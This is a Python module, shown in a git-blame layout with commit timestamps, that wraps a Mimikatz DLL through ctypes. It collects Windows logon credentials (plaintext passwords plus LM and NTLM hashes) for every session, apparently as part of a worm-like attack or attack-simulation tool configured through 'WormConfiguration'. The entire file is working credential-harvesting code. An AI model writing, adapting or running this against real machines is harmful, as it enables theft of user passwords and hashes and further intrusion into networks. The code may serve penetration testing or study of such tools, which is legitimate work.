2017-08-16 20:14:26 +08:00
|
|
|
import ctypes
|
|
|
|
import binascii
|
|
|
|
import logging
|
2017-10-02 16:25:53 +08:00
|
|
|
import socket
|
2017-08-16 20:14:26 +08:00
|
|
|
|
|
|
|
__author__ = 'itay.mizeretz'
|
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
|
|
|
|
|
|
class MimikatzCollector:
|
|
|
|
"""
|
|
|
|
Password collection module for Windows using Mimikatz.
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
|
|
|
try:
|
|
|
|
self._isInit = False
|
|
|
|
self._config = __import__('config').WormConfiguration
|
|
|
|
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
|
|
|
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
|
|
|
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
|
|
|
self._collect = collect_proto(("collect", self._dll))
|
|
|
|
self._get = get_proto(("get", self._dll))
|
|
|
|
self._isInit = True
|
2017-10-02 16:25:53 +08:00
|
|
|
except StandardError:
|
2017-08-16 20:14:26 +08:00
|
|
|
LOG.exception("Error initializing mimikatz collector")
|
|
|
|
|
|
|
|
def get_logon_info(self):
|
|
|
|
"""
|
|
|
|
Gets the logon info from mimikatz.
|
|
|
|
Returns a dictionary of users with their known credentials.
|
|
|
|
"""
|
|
|
|
|
|
|
|
if not self._isInit:
|
|
|
|
return {}
|
|
|
|
|
|
|
|
try:
|
|
|
|
entry_count = self._collect()
|
|
|
|
|
|
|
|
logon_data_dictionary = {}
|
2017-10-02 16:25:53 +08:00
|
|
|
hostname = socket.gethostname()
|
2017-08-16 20:14:26 +08:00
|
|
|
|
|
|
|
for i in range(entry_count):
|
|
|
|
entry = self._get()
|
2017-10-02 16:25:53 +08:00
|
|
|
username = entry.username.encode('utf-8').strip()
|
|
|
|
|
|
|
|
password = entry.password.encode('utf-8').strip()
|
2017-08-16 20:14:26 +08:00
|
|
|
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
|
|
|
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
2017-10-02 16:25:53 +08:00
|
|
|
|
|
|
|
if 0 == len(password):
|
|
|
|
has_password = False
|
2017-10-02 17:14:31 +08:00
|
|
|
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
|
2017-10-02 16:25:53 +08:00
|
|
|
# Don't save the password of the host domain user (HOSTNAME$)
|
|
|
|
has_password = False
|
|
|
|
else:
|
|
|
|
has_password = True
|
|
|
|
|
2017-08-16 20:14:26 +08:00
|
|
|
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
|
|
|
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
|
|
|
|
2017-10-02 16:25:53 +08:00
|
|
|
if username not in logon_data_dictionary:
|
2017-08-16 20:14:26 +08:00
|
|
|
logon_data_dictionary[username] = {}
|
|
|
|
if has_password:
|
|
|
|
logon_data_dictionary[username]["password"] = password
|
|
|
|
if has_lm:
|
|
|
|
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
|
|
|
if has_ntlm:
|
|
|
|
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
|
|
|
|
|
|
|
return logon_data_dictionary
|
2017-10-02 16:25:53 +08:00
|
|
|
except StandardError:
|
2017-08-16 20:14:26 +08:00
|
|
|
LOG.exception("Error getting logon info")
|
|
|
|
return {}
|
|
|
|
|
|
|
|
class LogonData(ctypes.Structure):
|
|
|
|
"""
|
|
|
|
Logon data structure returned from mimikatz.
|
|
|
|
"""
|
2017-08-21 00:32:18 +08:00
|
|
|
|
|
|
|
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
|
|
|
|
LM_NTLM_HASH_LENGTH = 16
|
|
|
|
|
2017-08-16 20:14:26 +08:00
|
|
|
_fields_ = \
|
|
|
|
[
|
2017-10-02 16:25:53 +08:00
|
|
|
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
|
|
|
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
|
|
|
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
|
|
|
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
2017-08-16 20:14:26 +08:00
|
|
|
]
|